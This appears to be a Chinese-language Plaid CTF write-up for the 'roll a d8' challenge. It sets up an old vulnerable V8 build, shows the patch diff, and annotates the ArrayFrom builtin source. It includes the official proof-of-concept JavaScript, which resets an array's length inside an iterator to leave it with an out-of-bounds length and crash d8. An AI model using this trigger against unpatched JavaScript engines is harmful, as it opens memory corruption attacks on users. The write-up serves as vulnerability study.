Plaid CTF roll a d8

环境搭建

1
2
3
4
5
6
7
8
#回溯版本到包含漏洞版本
$ git reset --hard 1dab065bb4025bdd663ba12e2e976c34c3fa6599
$ gclient sync
#分别编译Debug和Release版本
$ tools/dev/v8gen.py x64.debug
$ ninja -C out.gn/x64.debug d8
$ tools/dev/v8gen.py x64.release
$ ninja -C out.gn/x64.release d8

漏洞分析

该漏洞是一个真实存在的漏洞,我们查看其diff会发现其实就是将GotoIf(SmiLessThan(length_smi, old_length), &runtime)改为GotoIf(SmiNotEqual(length_smi, old_length), &runtime);,之后我们查看一下官方给出的poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
let oobArray = [];								//创建了一个oobArray数组对象
let maxSize = 1028 * 8; //8244
Array.from.call(function() { return oobArray }, {[Symbol.iterator] : _ => ( //实现了一个迭代器
{
counter : 0,
next() {
let result = this.counter++;
if (this.counter > maxSize) {
oobArray.length = 0; //在迭代器中将oobArray.length置零
return {done: true};
} else {
return {value: result, done: false};
}
}
}
) });
//%DebugPrint(oobArray);
//%SystemBreak();
oobArray[oobArray.length - 1] = 0x41414141; //触发crash

我们可以在命令行运行一下就会发现其会触发一个crash,之后我们使用%DebugPrint来调试一下看一下oobArray的变化

1
2
3
❯ ./out.gn/x64.release/d8 ./test.js --allow-natives-syntax 
array: 0x7f8ef20df11 <JSArray[0]>
0x7f8ef20df11 <JSArray[8192]>

我们可以发现其长度变成了一个很大的值,那么为什么会发生这样的变化就需要我们查看源码。

源码分析

我们可以发现poc中调用了Arrayfrom,我们查看其源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
TF_BUILTIN(ArrayFrom, ArrayPopulatorAssembler) {
TNode<Context> context = CAST(Parameter(BuiltinDescriptor::kContext));
TNode<Int32T> argc =
UncheckedCast<Int32T>(Parameter(BuiltinDescriptor::kArgumentsCount));

CodeStubArguments args(this, ChangeInt32ToIntPtr(argc));

TNode<Object> map_function = args.GetOptionalArgumentValue(1);

// If map_function is not undefined, then ensure it's callable else throw.
{
Label no_error(this), error(this);
GotoIf(IsUndefined(map_function), &no_error);
GotoIf(TaggedIsSmi(map_function), &error);
Branch(IsCallable(map_function), &no_error, &error);

BIND(&error);
ThrowTypeError(context, MessageTemplate::kCalledNonCallable, map_function);

BIND(&no_error);
}

Label iterable(this), not_iterable(this), finished(this), if_exception(this);

TNode<Object> this_arg = args.GetOptionalArgumentValue(2);
TNode<Object> items = args.GetOptionalArgumentValue(0);
// The spec doesn't require ToObject to be called directly on the iterable
// branch, but it's part of GetMethod that is in the spec.
TNode<JSReceiver> array_like = ToObject(context, items);

TVARIABLE(Object, array);
TVARIABLE(Number, length);

// Determine whether items[Symbol.iterator] is defined:
IteratorBuiltinsAssembler iterator_assembler(state());
Node* iterator_method =
iterator_assembler.GetIteratorMethod(context, array_like);
//判断是不是可迭代的
Branch(IsNullOrUndefined(iterator_method), &not_iterable, &iterable);
//如果是可迭代的
BIND(&iterable);
{
TVARIABLE(Number, index, SmiConstant(0));
TVARIABLE(Object, var_exception);
Label loop(this, &index), loop_done(this),
on_exception(this, Label::kDeferred),
index_overflow(this, Label::kDeferred);

// Check that the method is callable.
{
Label get_method_not_callable(this, Label::kDeferred), next(this);
//检查是不是Smi和可调用的
GotoIf(TaggedIsSmi(iterator_method), &get_method_not_callable);
GotoIfNot(IsCallable(iterator_method), &get_method_not_callable);
Goto(&next);

BIND(&get_method_not_callable);
ThrowTypeError(context, MessageTemplate::kCalledNonCallable,
iterator_method);

BIND(&next);
}

// Construct the output array with empty length.
//这里保存的是我们传入的数组,下面的print输出和我们在js里面打印出来的数组地址是一样的
array = ConstructArrayLike(context, args.GetReceiver());
Print("array", static_cast<Node*>(array.value()));
// Actually get the iterator and throw if the iterator method does not yield
// one.
//获取迭代器
IteratorRecord iterator_record =
iterator_assembler.GetIterator(context, items, iterator_method);

TNode<Context> native_context = LoadNativeContext(context);
TNode<Object> fast_iterator_result_map =
LoadContextElement(native_context, Context::ITERATOR_RESULT_MAP_INDEX);

Goto(&loop);
//迭代循环
BIND(&loop);
{
// Loop while iterator is not done.
TNode<Object> next = CAST(iterator_assembler.IteratorStep(
context, iterator_record, &loop_done, fast_iterator_result_map));
TVARIABLE(Object, value,
CAST(iterator_assembler.IteratorValue(
context, next, fast_iterator_result_map)));

// If a map_function is supplied then call it (using this_arg as
// receiver), on the value returned from the iterator. Exceptions are
// caught so the iterator can be closed.
{
Label next(this);
GotoIf(IsUndefined(map_function), &next);

CSA_ASSERT(this, IsCallable(map_function));
Node* v = CallJS(CodeFactory::Call(isolate()), context, map_function,
this_arg, value.value(), index.value());
GotoIfException(v, &on_exception, &var_exception);
value = CAST(v);
Goto(&next);
BIND(&next);
}

// Store the result in the output object (catching any exceptions so the
// iterator can be closed).
Node* define_status =
CallRuntime(Runtime::kCreateDataProperty, context, array.value(),
index.value(), value.value());
GotoIfException(define_status, &on_exception, &var_exception);

index = NumberInc(index.value());
// Print("index is " , index.value());
// The spec requires that we throw an exception if index reaches 2^53-1,
// but an empty loop would take >100 days to do this many iterations. To
// actually run for that long would require an iterator that never set
// done to true and a target array which somehow never ran out of memory,
// e.g. a proxy that discarded the values. Ignoring this case just means
// we would repeatedly call CreateDataProperty with index = 2^53.
CSA_ASSERT_BRANCH(this, [&](Label* ok, Label* not_ok) {
BranchIfNumberRelationalComparison(Operation::kLessThan, index.value(),
NumberConstant(kMaxSafeInteger), ok,
not_ok);
});
Goto(&loop);
}

BIND(&loop_done);
{
length = index;
Goto(&finished);
}

BIND(&on_exception);
{
// Close the iterator, rethrowing either the passed exception or
// exceptions thrown during the close.
iterator_assembler.IteratorCloseOnException(context, iterator_record,
&var_exception);
}
}

// Since there's no iterator, items cannot be a Fast JS Array.
BIND(&not_iterable);
{
CSA_ASSERT(this, Word32BinaryNot(IsFastJSArray(array_like, context)));

// Treat array_like as an array and try to get its length.
length = ToLength_Inline(
context, GetProperty(context, array_like, factory()->length_string()));

// Construct an array using the receiver as constructor with the same length
// as the input array.
array = ConstructArrayLike(context, args.GetReceiver(), length.value());

TVARIABLE(Number, index, SmiConstant(0));

GotoIf(SmiEqual(length.value(), SmiConstant(0)), &finished);

// Loop from 0 to length-1.
{
Label loop(this, &index);
Goto(&loop);
BIND(&loop);
TVARIABLE(Object, value);

value = GetProperty(context, array_like, index.value());

// If a map_function is supplied then call it (using this_arg as
// receiver), on the value retrieved from the array.
{
Label next(this);
GotoIf(IsUndefined(map_function), &next);

CSA_ASSERT(this, IsCallable(map_function));
value = CAST(CallJS(CodeFactory::Call(isolate()), context, map_function,
this_arg, value.value(), index.value()));
Goto(&next);
BIND(&next);
}

// Store the result in the output object.
CallRuntime(Runtime::kCreateDataProperty, context, array.value(),
index.value(), value.value());
index = NumberInc(index.value());
BranchIfNumberRelationalComparison(Operation::kLessThan, index.value(),
length.value(), &loop, &finished);
}
}

BIND(&finished);

// Finally set the length on the output and return it.
GenerateSetLength(context, array.value(), length.value());
args.PopAndReturn(array.value());
}